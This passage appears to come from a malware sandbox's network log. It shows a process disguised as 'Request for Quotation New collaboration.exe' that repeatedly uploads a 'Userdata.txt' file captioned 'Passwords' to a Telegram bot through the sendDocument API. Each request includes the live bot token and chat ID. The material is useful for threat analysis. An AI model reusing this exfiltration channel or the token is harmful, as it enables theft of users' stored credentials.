2024-12-09 07:32:59 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 38 35 35 36 65 31 62 34 62 65 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd18556e1b4be9Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:00 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:33:00 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 35 38 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1303,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729580,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49758	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:33:03 UTC	270	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd18817804e060 Host: api.telegram.org Content-Length: 1090
2024-12-09 07:33:03 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 38 38 31 37 38 30 34 65 30 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd18817804e060Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:04 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:03 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:33:04 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 35 38 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1304,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729583,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49770	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:33:06 UTC	270	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd18abdf1d4165 Host: api.telegram.org Content-Length: 1090
2024-12-09 07:33:06 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 38 61 62 64 66 31 64 34 31 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd18abdf1d4165Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:07 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:33:07 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 35 38 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1305,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729587,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49780	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:33:10 UTC	294	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd18d604afe111 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-09 07:33:10 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 38 64 36 30 34 61 66 65 31 31 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd18d604afe111Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:11 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:33:11 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 35 39 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1306,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729591,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49789	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:33:14 UTC	294	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd190142b581dd Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-09 07:33:14 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 39 30 31 34 32 62 35 38 31 64 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd190142b581ddContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:14 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:14 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:33:14 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 35 39 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1307,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729594,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49800	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:33:17 UTC	294	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd192ae3f7a3c5 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-09 07:33:17 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 39 32 61 65 33 66 37 61 33 63 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd192ae3f7a3c5Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:18 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:18 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:33:18 UTC	538	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 35 39 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1308,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729598,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49810	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:33:21 UTC	294	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1955993a0d8b Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-09 07:33:21 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 39 35 35 39 39 33 61 30 64 38 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1955993a0d8bContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:21 GMT Content-Type: application/json Content-Length: 539 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-09 07:33:21 UTC	539	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 34 36 37 39 33 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 7a 7a 7a 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 37 32 39 36 30 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":1309,"from":{"id":7234679344,"is_bot":true,"first_name":"vandrozzzx","username":"vandrozzzx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1733729601,"document":{"file_name

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49820	149.154.167.220	443	2556	C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 07:33:24 UTC	294	OUT	POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd197eb93c5cf4 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-09 07:33:24 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 39 37 65 62 39 33 63 35 63 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd197eb93c5cf4Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-09 07:33:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 09 Dec 2024 07:33:24 GMT Content-Type: application/json Content-Length: 538 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
